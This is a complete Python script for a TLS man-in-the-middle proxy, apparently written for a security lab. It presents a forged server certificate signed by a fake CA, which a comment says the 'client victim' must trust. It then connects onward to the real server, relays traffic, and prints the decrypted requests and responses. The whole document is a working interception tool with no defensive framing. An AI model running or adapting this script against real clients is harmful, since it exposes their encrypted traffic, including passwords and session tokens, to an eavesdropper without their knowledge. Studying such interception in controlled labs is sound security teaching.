#!/usr/bin/python3
import socket
import ssl
import sys
import time
import datetime
import os

BUFSIZE = 4096

# this certificate must be trusted by the client victim!
FAKE_CA_CERT = "fake-ca-cert.pem"          
FAKE_CA_KEY = "fake-ca-key.pem"

# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA
FAKE_SERVER_CERT = "fake-server-cert.pem"
FAKE_SERVER_KEY = "fake-server-key.pem"

# actual CA certificate
CA_CERT = "ca-cert.pem"

######### MISC #########

def log_message(format, *args):
    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))

######### Main Serve Routine  #########

# handle one connection
def serve(clientconn, clientaddr, serveraddr):
    (serverhost, serverport) = serveraddr       # the actual server
    (clienthost, clientport) = clientaddr       # the actual client

    # wrap client connection with SSL context
    clientcontext = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, keyfile=FAKE_SERVER_KEY)
    clientconnssl = clientcontext.wrap_socket(clientconn, server_side=True)

    # connect to server with SSL context
    serverconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servercontext = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    servercontext.load_verify_locations(CA_CERT)                                 # should be in the store...    
    servercontext.check_hostname = True
    serverconnssl = servercontext.wrap_socket(serverconn, server_side=False, server_hostname=serverhost)

    try:
        serverconnssl.connect(serveraddr)
    except ssl.SSLError as e:
        log_message("%s", e)
        clientconnssl.close()
        return

    # start talking in SSL/TLS
    sys.stdout.write("~~~~~ REQUEST ~~~~~\n")
    buffer = clientconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    serverconnssl.sendall(buffer)
    sys.stdout.write("~~~~~ ANSWER ~~~~~\n")
    buffer = serverconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    clientconnssl.sendall(buffer)
    buffer = serverconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    clientconnssl.sendall(buffer)

    # close sockets
    serverconnssl.close()
    clientconnssl.close()
    log_message('all connections closed')

######### Main Loop #########

def main():

    if len(sys.argv) != 4:
        sys.stderr.write("usage: sslproxy <server hostname> <server port> <proxy port>\n")
        sys.exit(1)

    SERVERHOST = sys.argv[1]
    SERVERPORT = int(sys.argv[2])
    PROXYHOST = ''
    PROXYPORT = int(sys.argv[3])

    proxyaddr = (PROXYHOST, PROXYPORT)
    serveraddr = (SERVERHOST, SERVERPORT) # the target server

    # create proxy socket listening on PROXYPORT
    proxysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxysocket.bind(proxyaddr)
    proxysocket.listen()

    # main loop
    log_message('proxy listening on port: %d', PROXYPORT)
    log_message('target server: %s', serveraddr)

    while True:
        try:
            log_message("waiting new connection...")
            clientconn, clientaddr = proxysocket.accept()
            serve(clientconn, clientaddr, serveraddr)
        except KeyboardInterrupt:
            log_message("shutting down!")
            proxysocket.close()
            break

######### Main Program  #########

main()